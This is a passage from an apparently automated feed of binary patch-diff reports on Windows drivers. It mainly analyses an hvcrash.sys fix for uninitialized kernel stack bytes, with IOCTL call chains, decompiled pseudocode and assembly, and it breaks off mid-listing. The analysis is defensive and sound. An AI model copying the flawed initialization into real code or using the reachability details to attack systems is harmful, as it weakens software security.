&lt;li&gt;&lt;strong&gt;&lt;code&gt;UxStartEnvironmentModule&lt;/code&gt; @ &lt;code&gt;0x1C01757B0&lt;/code&gt; (initialization):&lt;/strong&gt; Sets the WIL feature-staging flags. &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt; is set from &lt;code&gt;Feature_2347446586__private_IsEnabledDeviceUsage&lt;/code&gt;; &lt;code&gt;UxKirWritingAndReadingUm&lt;/code&gt; from &lt;code&gt;Feature_1389320505__private_IsEnabledDeviceUsage&lt;/code&gt;; also &lt;code&gt;UxKirChunkExtHeaderFix&lt;/code&gt; and &lt;code&gt;UxKirSetCbtHardeningAsMedium&lt;/code&gt;. Emits WPP trace events for the flag states. Configuration plumbing, not a vulnerability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wil_details_FeatureReporting_IncrementOpportunityInCache&lt;/code&gt; @ &lt;code&gt;0x1C001EAD0&lt;/code&gt; (WIL telemetry):&lt;/strong&gt; Feature-usage reporting cache helper. Loop/register churn.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wil_details_FeatureReporting_IncrementUsageInCache&lt;/code&gt; @ &lt;code&gt;0x1C001EBB8&lt;/code&gt; (WIL telemetry):&lt;/strong&gt; Feature-usage reporting cache helper. Loop/register churn.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wil_details_FeatureReporting_RecordUsageInCache&lt;/code&gt; @ &lt;code&gt;0x1C001ECA4&lt;/code&gt; (WIL telemetry):&lt;/strong&gt; Feature-usage reporting cache helper. Loop/register churn.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note: &lt;code&gt;0x1C0028A91&lt;/code&gt; is not a separate function; that address is inside the outlined cold section of &lt;code&gt;UlGenerateTrailers&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; 0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; 0&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No functions were added or removed. New symbols in the patched build are the WIL feature-staging entries &lt;code&gt;Feature_2347446586&lt;/code&gt; and &lt;code&gt;Feature_1389320505&lt;/code&gt; (replacing removed &lt;code&gt;Feature_176206139&lt;/code&gt;), consistent with feature-flag rollout rather than new code paths.&lt;/p&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence in the double-fetch pattern:&lt;/strong&gt; High. The unpatched assembly shows the trailer string pointer read once for &lt;code&gt;UlProbeAnsiString&lt;/code&gt; and re-read for &lt;code&gt;memmove&lt;/code&gt; at the addresses cited.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confidence in the "delivered fix" claim:&lt;/strong&gt; The mitigation is real code but is feature-staged (&lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt;) with the original double-fetch retained in the flag-off branch. It is therefore not an unconditionally delivered fix; the runtime default is set by feature configuration outside the binary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scope:&lt;/strong&gt; Impact of the retained path is a local, race-dependent, same-process kernel information disclosure reachable via the HTTP Server API response path; it is not remote and not a self-contained privilege escalation.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>hvcrash.sys — Uninitialized stack bytes in crash-dump writer descriptor (CWE-908) zeroed / fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/hvcrash_706d8ffd-hvcrash-report-20260629-002358.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/hvcrash_706d8ffd-hvcrash-report-20260629-002358.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;hvcrash_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;hvcrash_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.983&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 50 functions matched by symbol (46 identical, 4 changed), 1 function added in the patched build (&lt;code&gt;Diagnostics::Initialize&lt;/code&gt;), 0 removed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch zero-initializes an 8-byte tail of a 16-byte stack structure in &lt;code&gt;HvCrashWriter::Initialize&lt;/code&gt; before that structure is handed to a WDF I/O target request. In the unpatched build those 8 bytes carry stale kernel-stack contents into the input buffer of an internal device I/O control request sent down the driver stack. This is a genuine uninitialized-memory hardening fix, but it is confined to the crash-dump writer setup path and the data stays inside kernel mode; there is no demonstrable attacker-controlled trigger or cross-privilege leak. Severity is Low. The other three changed functions and the one added function are a debug-logging feature (a registry-gated &lt;code&gt;DbgPrint&lt;/code&gt;), not security fixes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Use of uninitialized stack memory (CWE-908 / CWE-200)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;HvCrashWriter::Initialize&lt;/code&gt; (unpatched &lt;code&gt;@0x1C0002E68&lt;/code&gt;; patched &lt;code&gt;@0x1C0002FE0&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
&lt;code&gt;HvCrashWriter::Initialize&lt;/code&gt; builds a 16-byte structure on the kernel stack (&lt;code&gt;_DWORD v14[4]&lt;/code&gt; at &lt;code&gt;rbp+0x37&lt;/code&gt;). In the unpatched build it writes only the first two DWORDs (&lt;code&gt;v14[0]=6&lt;/code&gt; at &lt;code&gt;rbp+0x37&lt;/code&gt; and &lt;code&gt;v14[1]=0x12&lt;/code&gt; at &lt;code&gt;rbp+0x3b&lt;/code&gt;) and leaves the last 8 bytes (&lt;code&gt;v14[2]&lt;/code&gt;/&lt;code&gt;v14[3]&lt;/code&gt;, at &lt;code&gt;rbp+0x3f&lt;/code&gt; through &lt;code&gt;rbp+0x46&lt;/code&gt;) uninitialized, so they retain whatever was previously on the stack. The structure is wrapped in a &lt;code&gt;WDF_MEMORY_DESCRIPTOR&lt;/code&gt; (type = buffer, pointer = &lt;code&gt;v14&lt;/code&gt;, length = 16) and passed as the &lt;strong&gt;input&lt;/strong&gt; buffer of a synchronous internal device I/O control request (control code &lt;code&gt;0x3EC080&lt;/code&gt;) issued through the KMDF function table. Those 8 stale bytes therefore travel into the request sent to the next driver in the device stack. The patch zero-initializes the whole 16-byte structure first, then fills the two DWORD fields, so the trailing 8 bytes are defined (zero).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reachability:&lt;/strong&gt;
This runs during crash-dump writer initialization, reached through the driver's WDF device-control (&lt;code&gt;EvtIoDeviceControl&lt;/code&gt;) handler. It is part of the crash/dump-preparation machinery, not a routine exposed to an ordinary untrusted caller. The recipient of the leaked bytes is a lower kernel-mode driver in the device stack (all ring 0). There is no demonstrated path by which an unprivileged user, or a party outside the guest, controls this trigger or observes the leaked bytes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain:&lt;/strong&gt;
1. A device I/O control request with control code &lt;code&gt;0x2D164B&lt;/code&gt; reaches the driver's WDF I/O queue.
2. &lt;code&gt;HvCrashEvtDeviceAdd&lt;/code&gt; (&lt;code&gt;@0x1C00080E0&lt;/code&gt;) registered &lt;code&gt;HvCrashDeviceControl&lt;/code&gt; (&lt;code&gt;@0x1C00088D0&lt;/code&gt;) as the &lt;code&gt;EvtIoDeviceControl&lt;/code&gt; callback.
3. &lt;code&gt;HvCrashDeviceControl&lt;/code&gt; switches on the control code; case &lt;code&gt;0x2D164B&lt;/code&gt; (decimal &lt;code&gt;2954827&lt;/code&gt;) calls &lt;code&gt;CrashdumpShim::GetDumpInfo&lt;/code&gt;.
4. &lt;code&gt;CrashdumpShim::GetDumpInfo&lt;/code&gt; (&lt;code&gt;@0x1C00019E8&lt;/code&gt;) retrieves a &lt;code&gt;0x48&lt;/code&gt;-byte request input buffer, validates its fields, allocates pool, and calls &lt;code&gt;HvCrashWriter::Initialize&lt;/code&gt;.
5. &lt;code&gt;HvCrashWriter::Initialize&lt;/code&gt; (&lt;code&gt;@0x1C0002E68&lt;/code&gt;) builds the partially initialized 16-byte structure and passes it as the input buffer of the internal IOCTL sent down the device stack.&lt;/p&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;p&gt;The change is in the stack-buffer initialization of &lt;code&gt;HvCrashWriter::Initialize&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED HvCrashWriter::Initialize @0x1C0002E68&lt;/span&gt;
&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;HvCrashWriter::Initialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HvCrashWriter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WDFDEVICE__&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_GUID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// 16-byte struct at rbp+0x37&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// rbp+0x37 (4 bytes)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// rbp+0x3b (4 bytes)  (0x12)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// v14[2], v14[3] (rbp+0x3f..rbp+0x46, 8 bytes) LEFT UNINITIALIZED&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// WDF_MEMORY_DESCRIPTOR: type = buffer&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// buffer pointer&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// length = 16 bytes (all 16 are consumed)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// WdfFunctions_01015 + 1488 (table offset 0x5d0): synchronous internal&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// device IOCTL 0x3EC080; v8 is the INPUT memory descriptor&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(...)(&lt;/span&gt;&lt;span class="n"&gt;WdfFunctions_01015&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1488&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;WdfDriverGlobals&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4112512&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED HvCrashWriter::Initialize @0x1C0002FE0&lt;/span&gt;
&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;HvCrashWriter::Initialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HvCrashWriter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WDFDEVICE__&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_GUID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// FIX: whole 16-byte struct zeroed first&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// zeros rbp+0x37..rbp+0x3e&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// zeros rbp+0x3f..rbp+0x46  (the fix)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// then fields are set&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(...)(&lt;/span&gt;&lt;span class="n"&gt;WdfFunctions_01015&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1488&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="n"&gt;WdfDriverGlobals&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4112512&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;p&gt;Frame base: after &lt;code&gt;push rbp&lt;/code&gt;, &lt;code&gt;lea rbp, [rsp-57h]&lt;/code&gt;, so a variable shown as &lt;code&gt;[rbp+57h+var_XX]&lt;/code&gt; is at &lt;code&gt;rbp + 0x57 - 0xXX&lt;/code&gt;. The 16-byte structure is &lt;code&gt;var_20&lt;/code&gt; (= &lt;code&gt;rbp+0x37&lt;/code&gt;); its uninitialized tail is &lt;code&gt;var_18&lt;/code&gt; (= &lt;code&gt;rbp+0x3f&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unpatched initialization sequence (&lt;code&gt;HvCrashWriter::Initialize @0x1C0002E68&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002E88&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002E8A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_20&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;6&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x37&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;6&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002E91&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_58&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002E95&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_48&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xf&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
